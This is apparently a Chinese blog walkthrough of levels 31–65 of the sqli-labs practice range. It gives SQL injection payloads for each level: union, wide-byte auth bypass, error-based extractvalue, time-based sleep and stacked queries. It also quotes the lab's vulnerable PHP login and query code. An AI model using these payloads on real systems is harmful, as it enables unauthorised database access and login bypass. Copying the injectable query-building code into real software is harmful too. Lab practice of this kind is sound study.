靶场,靶场,一个靶场打一天,又是和waf斗智斗勇的一天,waf我和你拼啦!!
31.多个)号
先是一套基本的判断 ,发现是字符型,然后发现好像他什么都不过滤?于是开始poc
321313132"+union+select+2,user(),"2
于是你就会又见到熟悉的朋友,于是就能猜到又有)(这种东西
换句poc?发现就能成功bypasss
321313132")+union+select+2,user(),("2
32.宽字节注入
当我们添加一个' 就能看见这样的回显
那就想都不用想,就是宽字节注入,于是就猜测是不是字符型,其实如果他把注释符号也过滤了的话那就是绝杀了,但是好险他不过滤
于是我们就构造poc ,但是这里的盲注poc是不行的,因为会被转义 所以要联合查询
33.你三十二关再考我一次是吧?
这题还以为有什么过滤,结果发现和上一关一摸一样
玩我是吧
34.宽字节登录
首先我们能看见一个登录界面,不用想,肯定是要我们免密码登录
由于先测试一下注入的姿势,能发现是宽字节的过滤
于是就有poc:
admin%df'or+1=1--+
成功登录
35.why_care_for_addslahes()
做这题真就有种打ctf的感觉了,有意思
首先一顿操作猛如虎,先加一个单引号,猜测是宽字节
然后就发现为啥啥都过滤但是却报错???
无意间我瞅了一眼网页标签,然后就就开始笑了,我们判断字符注入的方法是什么?你肯定会说
:“单引号报错,两个引号不报错”
不错,确实是这样的,但是对应宽字节呢??来看宽字节的绕过过程
- 原来:select * from users where id='1' ;
- 开始注入: select * from users where id='1 %df/ ' %df/' ';
- 然后就会被解释成 select * from users where id='1運' 運'';
这是候的sql语句是肯定是错的 因为 中间多了一个中文字 所以我们根本无法根据报错来判断注入类型 也就是这个可能是字符型或者数字型!!!! 不信 不妨试试数字型的poc
0+union+select+1,database(),user()--+
所以这就是他的网页名的来由:why_care_addslashes的原因 与这个函数根本就没有关系!!
36.mysql_real_escape_string
这个函数和addslashes差不都是对一些特定的字符添加一个 / 并且拼接 ,所以他的poc和前面差不多,(或者说是一摸一样)
0%df'+union+select+1,user(),database()--+
37.你三十四关又又又考完一次是吧??
这个和三十四关又是一样的
我belike: 不多说,直接上poc
admin%df'+or+1=1--+
38.堆叠注入
这个我在我之前的blog里面讲过,就不多赘述了
39.堆叠注入但是数字型
这个其实就是堆叠注入的数字型 比字符型还简单 也不多赘述了
40.Seems 这个代码有点问题??
做这一关的时候,小编是有一点疑惑,因为你会发现这一关的poc可以无限写
0')union+select+1,database(),user()--+
1')and+length(database())=8--+
0')union+select+1,user(),database()--+
你就会发现,他们都是可以的,难道这一关就止步于此???
于是就去看了一下他的源代码,发现好家伙,代码还不少,那不因该毫无新意啊!?
访问login.php,发现报错
于是我就发现问题出现在了login.php那里,一起来看代码
$login = sqllogin();
if (!$login== 0)
{
$_SESSION["username"] = $login;
setcookie("Auth", 1, time()+3600); /* expire in 15 Minutes */
header('Location: logged-in.php');
}
else
{
?>
<tr><td colspan="2" style="text-align:center;"><br/><p style="color:#FF0000;">
<center>
<img src="../images/slap1.jpg">
</center>
</p></td></tr>
<?PHP
}
其中slap1.jpg就是我们看见的那张照片,所以可以知道$login=0,而$login又是通过sqllogin函数实现的,那么我们去看一下sqllogin函数就好
function sqllogin(){
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
print_r($row) ;
if ($row[1]) {
echo $row[1];
} else {
return 0;
}
}
来审计一下代码:
- 首先就是mysql_real_escape_string函数,用来将特殊字符转义
- 接着就是查询
- 如果查询成功就将得到的第一行结果输出,否则就输出You tried to be real smart, Try harder!!!! :( 然后结束程序
- 但是如果我们的login_user和login_password不设置值的话就会返回0 也就是我们现在所看见的页面情况
所以就在url拼接login_user 和 login_password这两个字段就好
但是不难发现就算将这两个字段拼接上也好,也还是报错,因该是还缺了什么参数,不管了下一题
41.考了个啥,还是堆叠???
这道题也是做的云里雾里的,啥都不过滤,一句poc就注出来了
查看了源代码才发现原来是堆叠注入,那也不多赘述了
42.Password字段没有过滤
尝试一下,发现在账号处无论怎么测试都没有发现注入点,于是就去试一下密码处,成功报错
于是就开始我们的poc
password=1'+or+1='1
其实这里也可以进行堆叠查询,因为这里也包含mysqli_mutil_query这个函数!!
43.还是多一个()
这题其实和上一题一模一样 就是多一个() 先上poc
password=admin')or+1=1--+
然后不知道你们会不会感到有点奇怪,对于拼接之后的那个句子结构
$sql = "SELECT * FROM users WHERE username=('111') and password=('admin') or 1=1 ";
于是我就去跑去问了一下chatgpt 结果他给到了我这样一个回答
admin'+or+1=1--+
soga~~~原来如此
44.和四十二关一样
不知道为什么他的答案和四十二关一样,那就直接上poc了
password=admin'+or+1=1--+
45.又是多个()
这个题思路和上一关一样,只不过得到的字段被()包裹,所以直接上poc
login_password=admin')or+1=1--+
46.报错,报错
这一题有点新颖,这种一看就知道是order by的查询语句
其实这种还挺难搞
- 首先,它不能拼接select 这种语句,因为orderby 要放在句子的末尾
- 然后,就是拼接 and 1=1 或者 and 1=2 这种语句对查询结果不影响
- 而且源代码里面还不存在堆叠注入的点
所以这里只能报错注入了,上poc
3+and+extractvalue(1,(concat(0x7e,(database()),0x7e)))--+
这样就能爆出他的数据库,如果它不返回报错信息的话那么就基本上不存在注入了
47.多了个' 号
这题其实就是和上面的那一题一样 只不过多一个 ' 而已
3'+and+extractvalue(1,(concat(0x7e,(database()),0x7e)))
48.盲注
这题更离谱,它直接啥都不给你了,于是可以盲注
3'+and+sleep(1)
但是我很好奇,就算盲注成功,那攻击者也获取不了它的数据库信息啊?所以这个sql注入有什么用????
49.和上一关一样,但是字符型
这一关就和上一关一样,不过是字符型
50.可以堆叠,但是条件苛刻
这一关是可以进行堆叠注入的 ,但是你返回的值要满足这样
if ($result = mysqli_store_result($con1))
{
while($row = mysqli_fetch_row($result))
{
echo '<font color= "#00FF11" size="3">';
echo "<tr>";
echo "<td>";
printf("%s", $row[0]);
echo "</td>";
echo "<td>";
printf("%s", $row[1]);
echo "</td>";
echo "<td>";
printf("%s", $row[2]);
echo "</td>";
echo "</tr>";
echo "</font>";
}
能成功地返回这样的结果,也可谓是十分困难了吧
51.我选择报错
这一关就直接报错注入就好了
1'and+extractvalue(1,(concat(0x7e,database(),0x7e)))--+
52.我选择延时注入
poc:
sort=1+and+sleep(1)
53.我还是选择延时注入
poc:
1'+and+sleep(4324324342)--+
54.你能在十次以内做出来吗???
这个其实有点在故弄玄虚,其实就是一个普通的注入,不要想太多 poc:
111111'+union+select+1,database(),user()--+
你怎么知道我刚好在第十次猜出来了哈哈哈
55. 正常注入
还是和上面一样多试试就出来了
32131313123122)%20union%20select%201,database(),user()--+
56.多一个 ' 无伤大雅
这个其实就是我们前面练的多的,不多说
)+union+select+1,user(),('1
57.换成" 还是无伤大雅
不多说,救赎之道,就在标题 上poc
?id=3213113211"%20union+select%201,user(),database()--+
58.??再看多一眼??
这题一开始没做出来,去看了题解,才恍然大雾
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FFFF">';
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo "<br>";
echo 'Your Password : ' .$pass[$row['id']];
echo "</font>";
看似一切正常,啥都不过滤,但是细看发现:
你的输出是什么鬼?????
所以这里只能报错注入了
1' and extractvalue(1,(concat(0x7e,database(),0x7e))) --+
59.数字型的58关
不多赘述 ,"救赎之道,就在标题 "
60.变成了 ")
poc:
id=1")%20and%20extractvalue(1,(concat(0x7e,database(),0x7e)))%20--+
61.你没题出了是吧???
不多说,先来看看源码
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
不是,出题人,你无聊是吧搞这些 给我弄两个括号,所以就能上poc了
id=1%27))and%20extractvalue(1,(concat(0x7e,(database()),0x7e)))--+
62.没有回显,但是延时注入
这一关是没有回显的,所以我们可以采用sleep来注入
id=1') and sleep(21)--+
63.还是62关,但是没有括号
这一关只是没有括号而已
?id=1%27and%20sleep(323)--+
64.又是))是吧???
这里的话就是还是有((这样的逆天玩意 ,所以我们直接上poc就好
?id=1))and%20if(length(database())=10,1,0)=1--+
65.完结撒花,但是有 "
这里也是不多说,直接上poc:
id=1")and%20if(length(database())=10,1,0)=1--+
终于,up的sqli靶场打完了 ,打的人都快麻了 ,先存一下小编的笔记,以后回来复习(如果记得的话)